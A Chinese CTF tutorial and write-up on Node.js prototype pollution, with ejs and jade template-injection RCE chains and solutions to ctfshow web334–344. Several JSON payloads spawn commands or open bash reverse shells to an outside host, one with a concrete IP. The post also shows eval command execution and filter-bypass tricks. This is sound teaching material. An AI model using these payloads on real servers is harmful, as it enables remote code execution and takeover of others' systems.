NodeJS原型链污染ctfshow_nodejs

news2024/9/25 11:19:28

文章目录

    • NodeJS原型链污染&ctfshow_nodejs
      • 前言
      • 0x01.原型与原型链
      • 0x02.prototype和`__proto__`分别是什么?
      • 0x03.原型链继承
        • 不同对象的原型链*
      • 0x04.原型链污染原理
      • 0x05.merge()导致原型链污染
      • 0x06.ejs模板引擎RCE
        • ejs模板引擎另一处rce
      • 0x07.jade模板引擎RCE
      • 【ctfshow】nodejs
        • web334
        • web335
        • web336
        • web337
        • web338
          • nodejs原型链污染
        • web339
        • web340
        • web341
          • ejs原型链污染:
        • web342-343
          • jade原型链污染:
        • web344
      • 参考

NodeJS原型链污染&ctfshow_nodejs

前言

最近又遇到了有关原型链污染的题目,所以在此总结一下,方便回顾

0x01.原型与原型链

js中一切皆对象,其中对象之间是存在共同和差异的。

  • 共同:对象的最终原型是Object的原型null
  • 差异:函数对象中有prototype属性,但是实力对象没有

1、原型的定义:

原型是Javascript中继承的基础,Javascript的继承就是基于原型的继承

(1)所有引用类型(函数,数组,对象)都拥有__proto__属性(隐式原型

(2)所有函数拥有prototype属性(显式原型)(仅限函数)

2、原型链的定义:

原型链是javascript的实现的形式,递归继承原型对象的原型,原型链的顶端是Object的原型。

0x02.prototype和__proto__分别是什么?

prototype是一个类的属性,所有类对象在实例化的时候都会拥有prototype中的属性的方法

一个对象的__proto__属性,指向这个对象所在类的prototype属性

我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。

一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:

foo.__proto__ == Foo.prototype

0x03.原型链继承

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)


// Name: Melania Trump

总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

知识点:

  1. 每个构造函数(constructor)都有一个原型对象(prototype)
  2. 对象的__proto__属性,指向类的原型对象prototype
  3. JavaScript使用prototype链实现继承机制

不同对象的原型链*

var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> null

var a = ["yo", "whadup", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> null

function f(){
  return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

知道这个,后面的就容易理解了

0x04.原型链污染原理

对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。

object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo); //Hello World
object2 = {"c":1, "d":2};
console.log(object2.foo); //Hello World

最终会输出两个Hello World。为什么object2在没有设置foo属性的情况下,也会输出Hello World呢?就是因为在第二条语句中,我们对object1的原型对象设置了一个foo属性,而object2和object1一样,都是继承了Object.prototype。在获取object2.foo时,由于object2本身不存在foo属性,就会往父类Object.prototype中去寻找。这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。

0x05.merge()导致原型链污染

merge操作是最常见可能控制键名的操作,也最能被原型链攻击。

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)  // 1 2

object3 = {}
console.log(object3.b)	// 2

上述已经污染成功了,object3并没有b变量,但是输出为2,说明我们已经污染了Object原型对象的值,根据原型链继承,object3中也有b变量,所以输出为2

需要注意的点是:

JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。

如果我们不使用json解析:

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b) // 1 2

o3 = {}
console.log(o3.b)  // undefiend

这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。

0x06.ejs模板引擎RCE

https://www.anquanke.com/post/id/236354#h2-2

该漏洞可以参考:ctfshowweb341

想要使用ejs进行RCE的前提是需要有原型链污染。例如:

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;    
    };
  };
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
    return res.json({ret_code: 0, ret_msg: 'login success!'});  
  }else{
    return res.json({ret_code: 2, ret_msg: 'login fail!'});  
  }

});


function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

这里通过copy()函数就可以造成原型链污染漏洞

app.js我们可以看到使用了ejs模板引擎:

app.engine('html', require('ejs').__express); 
app.set('view engine', 'html');

我们跟进ejs.js中的renderFile()函数

在 EJS(Embedded JavaScript)模板引擎中,renderFile() 是一个用于加载和渲染模板文件的方法。它通常与 Express 框架一起使用。

renderFile() 方法的作用是读取指定的 EJS 模板文件,并将数据填充到模板中生成最终的 HTML 内容。这个方法多用于将动态数据注入到模板中,以生成动态的网页内容

可见,这个renderFile()函数非常的重要,如果能够控制它输出的值,就会执行相应的代码

exports.renderFile = function () {
  var args = Array.prototype.slice.call(arguments);
  var filename = args.shift();
  var cb;
  var opts = {filename: filename};
  var data;
  var viewOpts;
	...
  return tryHandleCache(opts, data, cb);
};

返回值是tryHandleCache(opts, data, cb)我们跟进一下:

function tryHandleCache(options, data, cb) {
  var result;
  if (!cb) {
    if (typeof exports.promiseImpl == 'function') {
      return new exports.promiseImpl(function (resolve, reject) {
        try {
          result = handleCache(options)(data);
          resolve(result);
        }
        ...
  }
  else {
    try {
      result = handleCache(options)(data);
    }catch (err) {
      return cb(err);
    }
      ...
  }
}

我们发现这个函数一定会进入:handleCache()

function handleCache(options, template) {
  var func;
  var filename = options.filename;
  var hasTemplate = arguments.length > 1;
	...
  func = exports.compile(template, options); //返回值
  if (options.cache) {
    exports.cache.set(filename, func);
  }
  return func;
}

这个函数的返回值是func,而func exports.compile(template, options)的返回值,继续跟进:compile()

compile: function () {
	...
    if (!this.source) {
      this.generateSource();
      prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      ...
 		...
    }

我们发现函数里面存在大量拼接渲染,

如果能够覆盖 opts.outputFunctionName , 这样我们构造的payload就会被拼接进js语句中,并在 ejs 渲染时进行 RCE

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection

prepended += ' var __tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir'); var __tmp2 = __append;'
// 拼接了命令语句

我们可以覆盖opts.outputFunctionName 为:

__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir');var __tmp2

然后经过ejs原型链污染掉outputFunctionName 就可以实现rce了

由于此处例子的:user.userinfo是一个函数,所以需要使用两次__proto__才能获得原型对象:Object

{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; return global.process.mainModule.constructor._load('child_process').execSync('dir');var __tmp2"}}}

进行 copy 函数后, 此时 outputFunctionName 已经在全局变量中被复制了, 可以在 Global 的 __proto____proto____proto__ 下找到我们的污染链:

image-20230805224318003

ejs模板引擎另一处rce

var escapeFn = opts.escapeFunction;
var ctor;
...
    if (opts.client) {
    src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
    if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
    }
}

伪造 opts.escapeFunction 也可以进行 RCE

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true}}}

{"__proto__":{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('dir');","compileDebug":true,"debug":true}}}

0x07.jade模板引擎RCE

可以参考:ctfshow web342

原型链的污染思路和 ejs 思路很像

app.js中发现模板引擎为jade:

app.engine('jade', require('jade').__express); 
app.set('view engine', 'jade');

我们跟进jade.js,继续看renderFile()

exports.renderFile = function(path, options, fn){
  // support callback API
  ...

  options.filename = path;
  return handleTemplateCache(options)(options);	//返回值
};

跟进handleTemplateCache()

function handleTemplateCache (options, str) {
  ...
  else {
    var templ = exports.compile(str, options);  //
    if (options.cache) exports.cache[key] = templ;
    return templ;
  }
}

返回值为temp1,所以我们跟进compile()

20210325203504979

我们必须满足:compileDebug==true

jade 模板和 ejs 不同, 在compile之前会有 parse 解析, 尝试控制传入 parse 的语句

所以我们跟进一下parse()函数

20210325204216262

在 parse 函数中主要执行了这两步, 最后返回的部分:

  var body = ''
    + 'var buf = [];\n'
    + 'var jade_mixins = {};\n'
    + 'var jade_interp;\n'
    + (options.self
      ? 'var self = locals || {};\n' + js
      : addWith('locals || {}', '\n' + js, globals)) + ';'
    + 'return buf.join("");';
  return {body: body, dependencies: parser.dependencies};

options.self 可控, 如果我们控制self=true,可以绕过 addWith 函数,

回头跟进 compile 函数, 看看作用:

20210325204630223

返回的是 buf, 跟进 visit 函数

20210325205015036

如果 debug 为 true, node.line 就会被 push 进去, 造成拼接 (两个参数)

jade_debug.unshift(new jade.DebugItem( 0, "" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//
// 注释符注释掉后面的语句

在返回的时候还会经过 visitNode 函数:

visitNode: function(node){
    return this['visit' + node.type](node);}

这个函数会执行visit开头的函数,所以我们需要控制type为有效的:

visitAttributes
visitBlock
visitBlockComment √
visitCase
visitCode √
visitComment √
visitDoctype √
visitEach
visitFilter
visitMixin
visitMixinBlock √
visitNode
visitLiteral
visitText
visitTag
visitWhen

然后就可以返回 buf 部分进行命令执行

{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('dir');//"}}}

(污染对应的变量,这样才能进入到指定的地方进行字符串拼接)

补充: 针对 jade RCE链的污染, 普通的模板可以只需要污染 self 和 line, 但是有继承的模板还需要污染 type

【ctfshow】nodejs

web334

login.js

var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;

user.js

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

很显然,我们只需要绕过这里: toUpperCase()是javascript中将小写转换成大写的函数。

return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });

我们可以使用小写绕过:ctfshow

这里还有一个小trick,

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

所以我们也可以写成这样:ctfſhow

web335

源码提示:

<!-- /?eval= -->

因此我们可以使用nodejs中的eval()进行命令执行

Node.js中的child_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。

image-20230411173113969

这里我们选择反弹shell,

bash -i >& /dev/tcp/ip/port 0>&1

这一句的意思就是反弹shell,将输出与输入都重定型到指定ip的指定端口上面,

但是我们不能直接这样,我们需要先base64编码之后(注意加号要进行url编码为%2B),然后使用echo输出,使用管道符|将输出作为base64 -d输入进行base64解密,最后再传给bash

这里我选择自己的服务器,首先监听9996端口,然后再execute

image-20230411173813970

成功监听到了:

image-20230411174043978

直接读flag

web336

我们了解到如下知识点:

__filename:当前模块的文件名。 这是当前模块文件的已解析符号链接的绝对路径。

__dirname:可以获得当前文件所在目录从盘符开始的全路径

image-20230411181055933

有一种方法是使用fs模块去读取当前目录的文件名,然后通过方法去读取文件内容:

require('fs').readdirSync('.')

image-20230411182806500

require('fs').readFileSync('fl001g.txt')

image-20230411182941723

常规方法:这里过滤了exec,我们可以使用spawn

nodejschild_process中可以使用 execexecSyncspawnspawnSync进行命令执行

当我们使用:

require('child_process').spawnSync('ls')

image-20230411183551070

发现,显示出 object,查询资料

image-20230411183721508

返回的object里有个stdout属性,我们调用它,就可以当成字符串输出了:

image-20230411183854636

然后我们去读文件:

// require('child_process').spawnSync('cat fl001g.txt').stdout

如果这样读的话语法是错的,我们需要这样:

require('child_process').spawnSync('cat',['fl001g.txt']).stdout

image-20230411184039325

还有一种思路,通过定义变量,然后多个变量拼接:

在这里插入图片描述

web337

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

关键点在这里:

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);

这里可以使用数组绕过

a = ['1']
b = 1
console.log(a + 'flag')
console.log(b + 'flag')

输出:

1flag
1flag

可以看到,nodejs中:如果数组与字符串拼接后输出、数字与字符串拼接后输出,结果是一样的

于是我们就有一种思路,可以a传入数组,然后b传入等值的数字:

a[]=1&b=1

image-20230411191205702

还有一种方法,

nodejs中数组只能是数字索引,如果为非数字索引的话,相当于对象了。

a = {'x': 1}
b = {'x': 2}
console.log(a + 'flag')
console.log(b + 'flag')

输出:
[object Object]flag
[object Object]flag

因此我们直接绕过:

a[x]=1&b[x]=2

web338

nodejs原型链污染

关键在:

commons.js

module.exports = {
  copy:copy
};

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

login.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){   //
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
  
  
});

module.exports = router;

我们可以通过copy()函数,通过原型链来污染secret变量的ctfshow属性

{
	"username":"asd",
	"password":"123",
    "__proto__" : {
    	"ctfshow":"36dboy"
    }
 }

image-20230805162712273

web339

login.js

 let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow===flag){
    res.end(flag);
  }

这里没法利用了

api.js

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
});

注意这一句: Function(query)(query),这种写法可以动态执行函数的:

console.log(Function('return global.process.mainModule.constructor._load("child_process").execSync("whoami").toString()')('return global.process.mainModule.constructor._load("child_process").execSync("whoami").toString()'))

// leekos\like

因此我们只需要通过原型链污染一下query变量,反弹shell即可:

"__proto__":  {
    "query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"'')"
}

登陆的时候污染query,然后访问/api路由即可触发反弹shell:

web340

login.js发生了点变化,api.js还是一样的

var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }

这里还是调用了copy()函数,可以造成原型链污染。但是注意,这里并不是使user.userinfo.isAdmin=true,因为就算污染了它的原型,它还是false,因为类似与就近原则,变量的值还是等于靠近他们的值,我们没办法从这里入手

我们继续从query入手,在这里我们要将req.body中的值复制给user.userinfo

由于user.userinfo是一个函数,所以经过一次__proto__后,得到的原型对象是Function,再经过一次__proto__后,得到的原型对象是Object,就可以污染query了,这里只需要两次__proto__就行了:

"__proto__":{
    "__proto__":{
        "query":
        "return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/49.235.108.15/9996 0>&1\"')"
    }
}

web341

ejs原型链污染:

https://www.anquanke.com/post/id/236354#h2-2

"__proto__":{
    "__proto__":{
        "outputFunctionName":
        "_tmp1; return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var _tmp2"
    }
}

web342-343

jade原型链污染:
{
	"__proto__":{
        "__proto__": {
            "type":"Code",
            "compileDebug":true,
            "self":true,
            "line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');//"
        }
    }
}

web344

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

过滤了8c2c,

我们本来应该这么传参:

/?query={"name":"admin","password":"ctfshow","isVIP":true}

HTTP协议中允许同名参数出现多次,但不同服务端对同名参数 处理是不一样的:

Web服务器        参数获取函数              获取到的参数

PHP/Apache       $_GET(“par”)            Last

JSP/Tomcat       Request.getParameter(“par”)    First

Perl(CGI)/Apache   Param(“par”)            First

Python/Apache     getvalue(“par”)           All(List)

ASP/IIS        Request.QueryString(“par”)    All (comma-delimited string)

在nodejs中会把同名参数以数组的形式存储,并且JSON.parse可以正常解析

image-20230805210302505

上面逗号,被过滤了,我们可以使用&改写成下面的格式:

/?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}

但是此时又有一个问题,双引号的url编码:%22 与ctfshow的c结合后会变成2c,被过滤了,

所以我们应该把c编码一下:%63

/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

参考

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

https://www.anquanke.com/post/id/236354#h2-3

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/838864.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

HCIP——STP

STP 一、STP概述二、二层环路带来的问题1、广播风暴问题2、MAC地址漂移问题3、多帧复制 三、802.1D生成树STP的BPDU1、配置BPDU2、RPC3、COST4、配置BPDU的工作过程5、TCN BPDU6、TCN BPDU的工作原理 四、STP的角色五、STP角色选举六、STP的接口状态七、接口状态的迁移八、STP的…

web集群学习:源码安装nginx配置启动服务脚本

1、源码安装nginx&#xff0c;并提供服务脚本。 1、源码安装会有一些软件依赖 &#xff08;1&#xff09;检查并安装 Nginx 基础依赖包 pcre-devel 、openssl-devel # rpm -qa | egrep pcre-devel | openssl-devel&#xff08;2&#xff09;安装 Nginx 所需的 pcre 库 正则支…

STM32入门学习之定时器中断

1.STM32的通用定时器是可编程预分频驱动的16位自动装载计数器。 STM32 的通用定时器可以被用于&#xff1a;测量输入信号的脉冲长度 ( 输入捕获 ) 或者产生输出波 形 ( 输出比较和 PWM) 等。 使用定时器预分频器和 RCC 时钟控制器预分频器&#xff0c;脉冲长度和波形 周…

分治法、回溯法与动态规划

算法思想比较 回溯法&#xff1a;有“通用解题法”之称&#xff0c;用它可以系统地搜索问题的所有解。回溯法是按照深度优先搜索(DFS)的策略&#xff0c;从根结点出发深度探索解空间树分治法&#xff1a;将一个难以直接解决的大问题&#xff0c;分割成一些规模较小的相同问题&…

PCIE链路信息

目录 简介&#xff1a; 目的&#xff1a; 详情&#xff1a; 简介&#xff1a; PCIe有很多寄存器&#xff0c;也有很多控制&#xff0c;包括链路状态信息&#xff0c;上一节我们讲到了PCie的链路训练&#xff0c;这节文章将继续学习PCIe相关知识。 目的&#xff1a; 从设计…

30岁程序员第一次失败的餐饮创业经历

背景介绍 我什么都比较晚&#xff0c;我比大多数人晚了两年毕业&#xff0c;事业稳定也比别人晚。直到去年&#xff0c;我才跳槽到一家外企外包工作获得相对满意的薪资。但即使如此&#xff0c;与更有经验的人相比&#xff0c;我仍然有很大的差距&#xff0c;自己也尚未积累足…

kubernetes集群日志管理系统部署方案

安装前请下载各种所需yaml文件 1、安装 elasticsearch 组件 1.1 创建名称空间 #elasticsearch、fluentd、kibana都会安装到此空间下 kubectl apply -f kube-logging.yaml1.2 查看 kube-logging 名称空间是否创建成功 kubectl get namespaces | grep kube-logging[rootk8s-…

一分钟学会JS获取当前年近五年的年份

先看效果图 上代码&#xff1a; 1、HTML <div><el-date-pickerv-model"queryYearXmgk.startYear"format"yyyy"value-format"yyyy"type"year"placeholder"开始"clearable:picker-options"pickerStartAuditYe…

EventBus 开源库学习(三)

源码细节阅读 上一节根据EventBus的使用流程把实现源码大体梳理了一遍&#xff0c;因为精力有限&#xff0c;所以看源码都是根据实现过程把基本流程看下&#xff0c;中间实现细节先忽略&#xff0c;否则越看越深不容易把握大体思路&#xff0c;这节把一些细节的部分再看看。 …

flutter开发实战-flutter_spinkit实现多种风格进度指示器

flutter开发实战-flutter_spinkit实现多种风格进度指示器 最近开发过程中flutter_spinkit&#xff0c;这个拥有多种种风格加载指示器 一、flutter_spinkit 引入flutter_spinkit # 多种风格的模糊进度指示器flutter_spinkit: ^5.1.0效果示例 const spinkit SpinKitRotatingC…

常见历史漏洞之Thinkphp

常见历史漏洞之Thinkphp 一、介绍二、Thinkphp历史漏洞三、Thinkphp特征发现四、批量漏洞检测五、漏洞总结六、5.0.23版本案例演示 一、介绍 Thinkphp是一种开源框架。是一个由国人开发的支持windows/Unix/Linux等服务器环境的轻量级PHP开发框架。很多cms就是基于thinkphp二次开…

动态规划01: 斐波那契数列模型

第 N 个泰波那契数&#xff08;easy&#xff09; 题目链接: 1137. 第 N 个泰波那契数 题目描述: 泰波那契序列 Tn 定义如下&#xff1a; T0 0, T1 1, T2 1, 且在 n > 0 的条件下 Tn3 Tn Tn1 Tn2 给你整数 n&#xff0c;请返回第 n 个泰波那契数 Tn 的值。 示例 1&…

Vue表格导出Excel数据,自定义表头,使用xlsx-style修饰

继续上篇文章封装导出方法: 效果图&#xff1a; 1、安装xlsx-style依赖&#xff1a; yarn add xlsx-style 2、安装node-polyfill-webpack-plugin依赖&#xff1a; yarn add node-polyfill-webpack-plugin -D 解决报错&#xff1a;jszip is not a constructor 3、配置vue.…

Cilium系列-13-启用XDP加速及Cilium性能调优总结

系列文章 Cilium 系列文章 前言 将 Kubernetes 的 CNI 从其他组件切换为 Cilium, 已经可以有效地提升网络的性能. 但是通过对 Cilium 不同模式的切换/功能的启用, 可以进一步提升 Cilium 的网络性能. 具体调优项包括不限于: 启用本地路由(Native Routing)完全替换 KubeProx…

广西茶叶元宇宙 武隆以茶为媒 推动茶文旅产业融合发展

8月4日&#xff0c;重庆市武隆区启动为期3天的“武隆首届玩茶荟”。本次活动以“中国最美玩茶地——武隆”为主题&#xff0c;吸引众多国内知名专家、茶企和茶馆相关负责人&#xff0c;共同探索武隆茶文旅融合发展新路径和新业态。 广西茶叶元宇宙&#xff1a;广西茶叶元宇宙 …

GD32F103的EXTI中断和EXTI事件

GD32F103的EXTI可以产生中断&#xff0c;也产生事件信号。 GD32F03的EXTI触发源: 1、I/O管脚的16根线&#xff1b; 2、内部模块的4根线(包括LVD、RTC闹钟、USB唤醒、以太网唤醒)。 通过配置GPIO模块的AFIO_EXTISSx寄存器&#xff0c;所有的GPIO管脚都可以被选作EXTI的触发源…

近阶段的一些思考

文章目录 近阶段&#xff08;大约一个多月&#xff09;一直在投入某个开发项目中&#xff0c;没有机会静下来思考一番。对于自己而言&#xff0c;忙碌是一种不好的现象&#xff0c;不应该认为是一件理所当然的事情&#xff0c;应该是一种危机的存在&#xff0c;这种状态持续两周…

关注提示工程—本世纪最重要的技能可能就是与AI人工智能对话

本文目录与主要结构 引言&#xff1a;介绍提示工程的概念和背景&#xff0c;说明为什么它是本世纪最重要的技能之一。 正文&#xff1a; 一、提示工程的基本原理和方法&#xff1a;介绍什么是提示、如何设计和优化提示、如何使用提示与语言模型进行交互。 二、提示工程的应…

Nginx启动报错- Failed to start The nginx HTTP and reverse proxy server

根据日志&#xff0c;仍然出现 “bind() to 0.0.0.0:8888 failed (13: Permission denied)” 错误。这意味着 Nginx 仍然无法绑定到 8888 端口&#xff0c;即使使用 root 权限。 请执行以下操作来进一步排查问题&#xff1a; 确保没有其他进程占用 8888 端口&#xff1a;使用以…

【动态规划】回文子串专题

文章目录 1. 【LeetCode】647. 回文子串1.1 思路讲解1.1.1 方法选择1.1.2 dp表的创建1.1.3 状态转移方程1.1.4 填表顺序 1.2 整体代码 2. 【LeetCode】5. 最长回文串2.1 思路讲解2.2 代码实现 3.【LeetCode】094. 分割回文串II3.1 解题思路3.1.1 创建dp表3.1.2 状态转移方程3.1…